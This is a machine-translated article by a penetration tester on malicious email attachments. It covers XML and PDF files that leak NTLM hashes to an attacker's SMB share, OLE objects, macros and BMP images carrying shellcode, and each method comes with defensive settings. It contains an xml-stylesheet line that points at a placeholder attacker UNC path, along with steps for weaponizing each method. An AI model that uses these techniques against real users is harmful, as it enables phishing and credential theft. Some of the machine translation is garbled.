开路不容忽视



我的工作与以下事实有关:我对人撒谎,并利用他们的易变性,好奇心,贪婪等。 我热爱我的工作,并尝试创造性地处理它。 我的活动细节与通过社会工程学方法进行攻击有关。 在这篇文章中,我想谈一谈恶意附件。

如果PDF属于您的邮件,您会打开它吗? 和Word文件? 您会从未知来源打开图像吗? 如果下载存档,可能会遇到麻烦吗? 您如何知道哪些投资具有危险性,哪些则没有危险? 那你的同事呢?

对于几十个项目,我尝试了完全不同的方式来将有效负载交付给用户。 有些非常有效,有些很容易被发现-每个都有自己的缺点和优点。 我不会开始讲述如何在归档文件中打包扩展名为.exe的可执行文件。 使用这种老式的方法,要突破安全系统,然后还要让用户启​​动附件,则更加昂贵。 我将告诉您今天实际上可以通过邮件接收(或发送)哪些潜在危险文件。

免责声明:以下所有内容仅供参考。 作者描述了在渗透测试中获得的经验,对这些攻击的重复不承担任何责任,并鼓励不要将这些材料用于非法目的。

XML格式


方法的本质

大多数Office文件都基于Microsoft Office Open XML(OOXML),它实际上是Microsoft开发的一种压缩XML格式,用于显示表格,图表,演示文稿等。 XML扩展显示在文档扩展名(docx,xl​​sx,pptx)中。 很好奇这样的Office文档可以作为具有所有标签和属性的常规文本文件打开。 任何Office Open XML文件都可以另存为XML并更改标签。 例如,将链接添加到由攻击者控制的公用文件夹。 当您运行XML文件时,它将尝试连接到打开的公用文件夹。 当尝试通过smb-protocol连接时,Windows会提供NTLM哈希(NTLMv2)并向攻击者登录。



简而言之实现

要实现矢量,您需要创建一个Office Open XML文档(docx,pptx,xlsx等),并将其另存为XML。 打开XML并进行以下更改:

<?xml-stylesheet type="text/xsl" href="\\xxx.xxx.xxx.xxx \test\swordfish.xsl ">

在指定的标记中,您必须指定受害者将连接到的公用网络文件夹的地址。

注意 :您可以编写file:/// xxx.xxx.xxx.xxx/test/swordfish.xsl ,而不是="\\xxx.xxx.xxx.xxx\test\swordfish.xsl 。接下来,必须保存文件并将其发送给受害者。

可以在此处找到有关攻击的信息。

注意 :根据操作系统和设置,用户可能必须同意其他条件或注释,例如:



没有保护建议,文章将是不完整的:

  • 使用复杂的密码策略。
  • 使用NTLMv2。
  • 通过smb(tcp 139/445)拒绝外部流量。

错误的pdf


方法的本质

标记将添加到PDF文件中,并带有指向由攻击者控制的公共smb服务器的链接。 如上例所示,当打开文件时,操作系统将传输NTLM哈希(NTLMv2)以连接到公用文件夹。

简而言之实现

实施此攻击比上一次要容易得多。 要成功窃取哈希,只需下载实用程序( 此处此处的 git clone)并授予执行(chmod + x)python文件的权利。 接下来,运行python脚本并输入IP地址,文件名和接口,如下图所示。


生成有效载荷文件。

可以以祝贺,签名文件,应用程序扫描等为幌子将接收到的文件发送到邮件中。 文件启动时,所有哈希将发送给攻击者。



防护等级

  • 使用复杂的密码策略。
  • 使用NTLMv2。
  • 通过smb(tcp 139/445)拒绝外部流量。

OLE对象


方法的本质

在合法的Office文档中,嵌入了通过单击启动的脚本。 该脚本可以是任何脚本,通常只是有效负载。 它有自己的图标,可以根据攻击者的意愿进行更改,最多可以是模拟错误消息的Office文档样式的完整副本。 与宏不同,带有OLE附件的文件对于普通用户而言并不可疑。


简而言之实现

为应对这种攻击做准备,将需要花费更多的精力(与上述相比)。 第一步是生成有效负载。 接下来,您需要启动服务器,它将接收来自有效负载的连接,然后创建一个Word文档,将其转换为RTF并添加一个指向有效负载的链接。 如果简短。
可以在此处找到有关攻击的信息。

防护等级

为了防止此类攻击,我们建议您进行以下注册表更改:

HKCUSoftwareMicrosoftOffice -> Office Version -> Office application -> SecurityPackagerPrompt

Office Version值可能是16.0(Office 2016); 15.0(Office 2013); 14.0(Office 2010); 或12.0(Office 2007)。 Office application的值是特定Office应用程序的名称,即Word,Excel等。

该注册表项的值应为“ 2”,表示“无提示,对象不执行”或实际禁止执行对象。 值为“ 1”允许用户“在用户单击,对象执行时从Office提示”,即单击对象并单击Office,并显示相应的消息。 反之,值“ 0”表示“当用户单击,对象执行时,没有来自Office的提示”,换句话说,对象已执行,但用户未从Office收到任何消息。

如果您公司的业务流程中未使用这些功能,则可以进行更改。

巨集


自从提到OLE以来,我怎能不提及宏?



方法的本质

宏-一组旨在简化用户工作的命令。 潜在地,您可以在宏中编写任何绝对的命令集,从而获得有效载荷。 要使用宏创建文档,攻击者只需混淆有效负载代码并将代码添加到文档宏即可。

简而言之实现

目前,有很多方法可以生成宏。 您可以使用Luckystrike工具,也可以停在更熟悉的Metasploit上 。 您可以使用msfvenom并在生成后混淆宏。 创建宏后,您所需要做的就是将其添加到Office文档中。 但是,与OLE附件不同,您确实需要大量的精力来运行宏。 目前,很少有用户会运行宏。 Windows已经学会了警告可疑的宏,并且已经有很多关于它们的危险的讨论。

防护等级

为了提高可靠性,我建议禁用宏执行而无需通知。

骨形态发生蛋白


您几乎不可能遇到带有shellcode的BMP附件,因此请注意:确实有这种情况。

方法的本质

Shell代码以BMP格式嵌入到映像中。 发现时图像本身并不危险。 这并不是要让攻击者进行会话。 当攻击者使用Powershell命令激活图片时,需要躺下图片并等待一个小时。 这种方法与其说是绕过防病毒和入侵检测工具,不如说是一种攻击。

简而言之实现

要创建图片,只需使用此存储库 。 DKMC提供了从图像生成到代码混淆的所有功能。 我还想指出,“受感染”的图像将包含奇怪的彩色像素。 如果将图像的可见区域裁切5-10像素,则可以轻松解决此问题。

创建映像后,必须将文件交付给受害者,并等待正确的时机或寻找运行Powershell脚本的机会。

防护等级

将每个bmp文件过滤为潜在危险是低效率的。 您可以使用转换器并以其他格式保存图像,检查计算机上的文件,或者接受以下事实:如果攻击者设法在员工的计算机上使用了Powershell脚本,则存在带有Shell代码的图像并不是主要的安全问题。

实际上,仅此而已。 我希望本文能加深您对投资及其可能带来的危险的理解。 稍后我们将讨论可疑链接。



Ekaterina Rudaya( Caterin ),Jet信息系统实用安全分析实验室的专家

Source: https://habr.com/ru/post/zh-CN426463/


All Articles